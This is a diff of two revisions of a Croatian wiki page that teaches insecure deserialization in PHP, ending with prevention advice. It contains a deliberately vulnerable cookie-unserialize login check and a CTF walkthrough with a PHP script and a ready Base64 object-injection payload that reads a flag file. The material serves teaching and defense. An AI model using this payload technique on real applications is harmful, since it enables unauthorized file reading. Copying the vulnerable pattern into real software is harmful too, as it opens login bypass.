| Both sides previous revisionPrevious revisionNext revision | Previous revision |
| deserializacija [2023/11/30 14:57] – zrinka | deserializacija [2026/06/17 15:40] (current) – formatiranje i sadržaj dvaju podpoglavlja mbunic |
|---|
| ====Nesigurna deserijalizacija==== | ====Nesigurna deserijalizacija==== |
| |
| **Serijalizacija** je proces pretvaranja složenijih tipova podataka u jednostavniji oblik, primjerice u niz bajtova. Svrha je zapisati podatke u obliku u kojem se ti podatci mogu zapisati u datoteku, slati mrežom ili pohraniti u bazu podataka. Primjeri formata u koji se pohranjuju podatci su binarni zapis, JSON (//JavaScript Object Notation//) i XML (//Extensible Markup Language//). **Deserijalizacija** je obrnut proces. On iz sažetog zapisa podataka rekonstruira objekt koji je serijaliziran. Deserijalilziran objekt mora biti jednak originalnom, obuhvatiti sve njegove funkcionalnosti i mora moći imati interakcije s web stranicom kao i originalni objekt. | **Serijalizacija** je proces pretvaranja složenijih tipova podataka u jednostavniji oblik. Svrha je pohraniti podatke u obliku u kojem se oni mogu zapisati u datoteku, slati mrežom ili pohraniti u bazu podataka. Primjeri formata za serijalizirane podatke su binarni zapis, JSON (//JavaScript Object Notation//) i XML (//Extensible Markup Language//). \\ |
| |
| **Nesigurna deserijalizacija** (eng. //Insecure deserialization//) javlja se na web stranicama koje deserijaliziraju podatke koje unose korisnici. U idealnom slučaju, nikad se ne bi trebali izravno koristiti podatci koje unosi korisnik jer svaki korisnik može biti zlonamjeran i unijeti podatke koji mogu izazvati štetu. Usprkos svim provjerama koje stranica može provesti, vrlo je teško pokriti sve slučajeve i potpuno osigurati. Osim toga, vrlo često web stranica mora deserijalizirati podatke prije nego što uopće prepozna da je uneseno nešto maliciozno, a tad već bude prekasno. Dodatan je problem što moderne stranice, kako bi imale što više funkcionalnosti, često implementiraju velik broj bibioteka, koje svaka za sebe imaju mnogo različitih metoda i klasa. Zbog toga već samo na razini jedne stranice postoji velik broj klasa i metoda koje se ponašaju različito i teško je osigurati stranicu tako da se pokriju sve njihove sigurnosne rupe. Teško je i predvidjeti koja će se od tih brojnih metoda pozvati nad malicioznim podatcima, što znači da ne možemo predvidjeti ponašanje web stranice ako krene deserijalizirati nesigurne podatke. Zato su i posljedice vrlo širokog spektra. Napadač može dobiti mogućnost remote code executiona, a u slučaju da stranica ima dobru zaštitu protiv toga, može dovesti do eskalacije privilegija, pristupa nasumičnim datotekama i DOS napadima. (?? doraditi) | |
| |
| Jedna od ranjivosti PHP-a koja se koristi pri deserijalizaciji je činjenica da dopušta operator "==" koji je manje strog od klasičnog operatora jednakosti "===". Pokaza ćemo razliku na ovom primjeru: | **Deserijalizacija** je obrnut proces. Iz sažetog zapisa podataka rekonstruira se objekt koji je prethodno bio serijaliziran. Deserijaliziran objekt mora biti jednak originalnom, obuhvatiti sve njegove funkcionalnosti i omogućiti nastavak rada s objektom kao i prije serijalizacije. |
| | |
| | |
| | **Izvorne serijalizacije** (engl. //native//) pojedinih programskihi jezika (npr. unutar PHAR datoteka kod PHP-a ili Pickle kod Pythona) serijaliziraju programske objekte i njihova stanja u binarni format. Njihovo korištenje uključuje više mogućnosti izvršavanja programskog koda, pogotovo tijekom deserijalizacije, zbog čega je površina napada znatno veća. Za razliku od njih, formati poput JSON-a i XML-a pohranjuju samo podatke i njihovu strukturu. |
| | |
| | **Nesigurna deserijalizacija** (eng. //Insecure deserialization//) javlja se kada web aplikacije deserijaliziraju podatke koje unose korisnici. U idealnom slučaju, nikad se ne bi trebalo izravno deserijalizirati korisnički unos jer svaki korisnik može biti zlonamjeran i unijeti podatke koji mogu izazvati štetu. |
| | |
| | Unatoč tome što aplikacija može provoditi različite provjere nad unesenim podatcima, vrlo je teško pokriti sve slučajeve. Osim toga, često web aplikacija mora barem započeti proces deserijalizacije podataka prije nego što prepozna da je unos maliciozan, a tada već može biti prekasno. |
| | |
| | Dodatni problem je što moderne web aplikacije zbog svoje složenosti i velikog broja funkcionalnosti često koriste velik broj biblioteka. Time raste broj dostupnih klasa i metoda koje se mogu pozvati tijekom procesa deserijalizacije. Ne može se uvijek predvidjeti koja će se od tih brojnih metoda pozvati nad deserijaliziranim objektima jer oni mogu biti različitih klasa, zbog čega je teško predvidjeti ponašanje web aplikacije pri deserijalizaciji nesigurnih podataka. |
| | |
| | Posljedice nesigurne deserijalizacije mogu biti vrlo raznolike. Napadač može iskoristiti ranjivost za izvršavanje koda (engl. //remote code execution//, RCE), eskalaciju privilegija, neovlašteni pristup datotekama ili DoS (engl. //denial of service//) i druge napade. |
| | |
| | Jedna od često iskorištavanih funkcionalnosti PHP-a koja se koristi u napadima povezanima s deserijalizacijom je operator "==" koji je manje strog od klasičnog operatora jednakosti "===". Pokazat ćemo razliku na ovom primjeru: |
| <code php> | <code php> |
| 5 === "5" //False | 5 === "5" //vraća False |
| 5 == "5" //True | 5 == "5" //vraća True |
| </code> | </code> |
| Ovakva razlika između dvaju operatora jedakosti postoji u još nekim programskim jezicima, primjerice u JavaScriptu. Međutim, ovdje je ta razlika izraženija. Naime, ove će dvije tvrdnje također rezultirati istinom: | Operator "===" uspoređuje vrijednosti lijeve i desne strane, ali i tipove podataka. Budući da je na lijevoj strani broj (//integer//), a na desnoj niz znakova (//string//), operator vraća //False//, iako su im vrijednosti iste. S druge strane, operator "==" uspoređuje samo vrijednosti lijeve i desne strane te zato vraća //True//. Ova razlika između dvaju operatora jednakosti postoji u još nekim programskim jezicima, primjerice u JavaScriptu. Međutim, ovdje je ta razlika izraženija. Naime, ove će dvije tvrdnje rezultirati istinom, iako intuitivno ne bi trebale: |
| <code php> | <code php> |
| 5 == "5 i još nešto" | 5 == "5 i još nešto" |
| 0 == "nešto" | 0 == "nešto" |
| </code> | </code> |
| Prvi je string donekle intuitivan. Operator usporedbe na desnoj strani nakon što prođe prvi znak stringa i usporedi ga s lijevom stranom nailazi na jednakost i vraća istinu. Ostatak stringa se potpuno ignorira. Međutim, drugi slučaj je onaj koji stvara sigurnosne probleme. Naime, PHP će string "nešto" tretirati kao integer 0 jer u njemu nema brojeva. Već sad vidimo da je to logički neispravno. Uzmimo napadača koji je na web stranici koja deserijalizira podatke. Izmijenio je varijablu //$password// tako da ne sadrži brojeve. Ako korisnikova lozinka ne sadrži brojeve, izjednačavanje korisnikove lozinke s varijablom //$password// će uvijek vraćati istinu. Na ovaj će se način napadač bez problema ulogirati kao neki drugi korisnik bez da zna njegovu lozinku: | Prva se tvrdnja donekle se može shvatiti istinom jer je barem početak desne strane jednak lijevoj strani. Međutim, druga je je semantički pogrešna i stvara veće sigurnosne probleme. Naime, PHP će ovdje niz znakova //"nešto"// tretirati kao broj 0 jer niz ne počinje znamenkom. Uzmimo web aplikaciju koja deserijalizira podatke i provjerava podatke ovim kôdom: |
| <code php> | <code php> |
| $login = unserialize($_COOKIE) | $login = unserialize($_COOKIE) |
| if ($login['password'] == $password) { | if ($login['password'] == $password) { |
| // log in successfully | // uspjeh |
| } | } |
| </code> | </code> |
| | Unesena lozinka korisnika gleda se tako što se deserijalizira sve što se nalazi u kolačiću iz toga izvuče atribut //password//. Recimo da je napadač unio broj 0. Ako lozinka korisnika kojemu provaljuje u račun (varijabla //$password//) ne sadrži brojeve, usporedba unesene lozinke s njom će vratiti istinu, odnosno sustav će unesenu lozinku tretirati kao ispravnu, iako je zapravo možda potpuno različita od prave. Važno je napomenuti da ovo funkcionira samo zbog razloga što deserijalizacija čuva tip podatka. Da se lozinka uzimala direktno iz polja za unos, broj 0 pretvorio bi se u niz znakova "0", a tada bi usporedba bila neistinita. |
| | |
| | ===Magične metode=== |
| | |
| | U PHP-u i još nekim programskim jezicima postoje tzv. **magične metode**. To su metode koje se automatski pozivaju u određenim situacijama. Objektno orijentirani jezici (primjerice Java), u modeliranju rješenja problema koriste se objektima. Objekti se mogu stvarati i uništavati te svako stvaranje objekta potakne pozivanje metode - **konstruktora**. U Pythonu je to //%%__init__%%//, u PHP-u //construct()// itd. Konstruktor je, dakle, jedan od primjera magičnih metoda. |
| | |
| | Sâmo postojanje magičnih metoda ne predstavlja ranjivost, no problem je kad se one izravno koriste podatcima koje unose korisnici jer se pozivanje tih metoda ne može spriječiti. Još je veći problem kad postoje magične metode prilikom deserijalizacije podataka kao što je slučaj u PHP-u. Metoda //unserialize()// automatski poziva metodu //%%__wakeup()%%//. Dakle, čak i ako neki podatci neće proći deserijalizaciju (primjerice, ako metoda //unserialize()// prepozna grešku), i dalje je moguće da se pokrene poziv metode //%%__wakeup()%%// i da se napravi šteta. |
| | |
| | ===Umetanje nasumičnih objekata=== |
| | |
| | U objektno orijentiranim jezicima objekt pripada nekoj klasi. Klasa se može shvatiti kao vrsta objekta, a objekt je instanca klase. Svaka klasa u programskom jeziku ima definirane atribute i metode koje se mogu zvati nad objektima koji pripadaju toj klasi. Atributi su osobine objekta, ono što on posjeduje, a metode su akcije koje objekt može obaviti ili koje se mogu obaviti nad njime. |
| | |
| | Napadač može manipulirati koje će klase biti objekt poslan na deserijalizaciju. Kažemo da je umetnut //nasumičan// objekt jer u pravilu u svakoj aplikaciji postoji mnogo klasa objekata koje se koriste pa je teško predvidjeti koju će od njih napadač odabrati da bi izazvao grešku. Uobičajeno programski jezici imaju mehanizme prepoznavanja neočekivanih tipova podataka pa će slanje objekta neke druge klase obično izazvati grešku (//error//) ili iznimku (//exception//). Ipak, to ne mora uvijek biti dovoljna zaštita jer je moguće da je objekt već ušao u sustav. |
| | \\ |
| | \\ |
| | \\ |
| | **__PRIMJER__: Zadatak s Hacknite platforme - Autentifikacija bez lozinke** |
| | <file> |
| | Istražujući internet, Ana je otkrila inovativan način kako se prijaviti u sustav kao admin bez potrebnog |
| | korisničkog imena ili lozinke. Zadovoljna svojim otkrićem, spremila je vrlo zanimljivu informaciju na |
| | /usr/local/flag.txt, no za pristup toj informaciji potrebno je prijaviti se u sustav kao admin. |
| | |
| | Flag je u formatu CTF2021[brojevi] |
| | |
| | http://chal.platforma.hacknite.hr:10014 |
| | |
| | </file> |
| | |
| | U prilogu se nalazi i php datoteka stranice. Važan dio kôda je: |
| | <code php> |
| | if (!isset($_COOKIE["message"])) { |
| | $defaultFileAccess = new FileAccess(); |
| | $defaultFileAccess->set_filename("/usr/local/default.txt"); |
| | setcookie("message", base64_encode(serialize($defaultFileAccess)), |
| | [ "path" => $_SERVER["REQUEST_URI"] ]); |
| | } |
| | </code> |
| | Klasa //FileAccess// definirana je u istoj datoteci.\\ |
| | Vidimo da, ako nije postavljen //message// parametar kolačića, atribut //filename// varijable //$defaultFileAccess// postavlja se na vrijednost "/usr/local/default.txt", a u //message// parametar ulazi taj objekt koji je serijaliziran i čija je vrijednost kodirana preko //Base64//. Ukratko, putanja do datoteke kojoj gost ima pristup (default.txt) zadaje se unutar nekog objekta koji se serijalizira i zatim kodira. \\ |
| | Pokušajmo poslati zahtjev za flagom i presresti ga koristeći [[burp|Burp Suite]]. Otvorimo njegov ugrađeni preglednik te uključimo opciju //Intercept//. Zatim odaberimo "Flag" s navigacije na vrhu stranice. |
| | |
| | {{ :auth1.png?600 |}} |
| | |
| | Napišimo sad php skriptu s pomoću koje ćemo kodirati preko //Base64//. Za provjeru ćemo kodirati vrijednost "/usr/local/default.txt" jer znamo da je naš zahtjev usmjeren tamo. Skripta treba izgledati ovako: |
| | <code php> |
| | <?php |
| | class FileAccess { |
| | private $filename; |
| | function set_filename($filename){ |
| | $this->filename=$filename; |
| | } |
| | function get_file(){ |
| | return file_get_contents($this->filename); |
| | } |
| | } |
| | $defaultFileAccess = new FileAccess(); |
| | $defaultFileAccess->set_filename("/usr/local/default.txt"); |
| | //zasad ostavimo zadanu putanju radi provjere kako skripta radi |
| | echo base64_encode(serialize($defaultFileAccess)); |
| | ?> |
| | </code> |
| | |
| | Implementacija klase //FileAccess// prepisana je iz datoteke koja je priložena zadatku. \\ |
| | Rezultat ove skripte identičan je onome što vidimo u //message// parametru našeg zahtjeva, dakle implementirali smo kodiranje na isti način kao što ga i web aplikacija koristi. Promijenimo sad parametar funkcije //set_filename()// u željenu putanju "/usr/local/flag.txt". Dobili smo: |
| | <code>TzoxMDoiRmlsZUFjY2VzcyI6MTp7czoyMDoiAEZpbGVBY2Nlc3MAZmlsZW5hbWUiO3M6MTk6Ii91c3IvbG9jYWwvZmxhZy50eHQiO30</code> |
| | |
| | To ćemo unijeti u //message// parametar i proslijediti zahtjev. Na stranici se pojavio flag.\\ |
| | __Savjet__: Za izvođenje jednostavnijih programa mogu se koristiti i online prevoditelji, primjerice https://www.programiz.com/php/online-compiler/. |
| | \\ |
| | \\ |
| | \\ |
| | ===Prevencija nesigurne deserijalizacije=== |
| | |
| | Radi prevencije nesigurne deserijalizacije preporučuje se koristiti formate koji pohranjuju samo podatke i strukturu (poput JSON-a ili XML-a) umjesto izvornih serijalizacija programskih jezika kada je to moguće. Na taj se način znatno smanjuje površina napada. |
| | |
| | Kada se izvorna serijalizacija ne može izbjeći, preporučuje se ograničiti skup klasa koje se smiju deserijalizirati (whitelist pristup). Ako se tijekom deserijalizacije pronađe klasa koja nije na popisu dopuštenih, odbacuje se ili se cijeli postupak deserijalizacije prekida uz grešku. |
| | |
| | Poželjno je koristiti kriptografske potpise serijaliziranih podataka. Prije deserijalizacije treba provjeriti postojanje i validnost potpisa, te odbaciti podatke ako potpis nije važeći. |
| | |
| | Programski jezici pružaju mehanizme za kontrolu procesa serijalizacije. Primjerice, u Javi postoji sučelje //Serializable// koje mora implementirati svaka klasa objekata ako se oni serijaliziraju. Ako postoje podatci koji se ne smiju serijalizirati, njih treba označiti kao //transient//, što označava da se taj podatak ne uključuje u proces serijalizacije. |
| |
| | Postoje mnogi alati i biblioteke čija je zadaća zaštititi proces deserijalizacije, primjerice Javini //SerialKiller// i //NotSoSerial// te //Serial Whitelist Application Trainer// (SWAT) i mnogi drugi. |
| |
| | |
| [3]https://portswigger.net/web-security/deserialization\\ | [3]https://portswigger.net/web-security/deserialization\\ |
| [4]https://portswigger.net/web-security/deserialization/exploiting\\ | [4]https://portswigger.net/web-security/deserialization/exploiting\\ |
| | [5]https://platforma.hacknite.hr/\\ |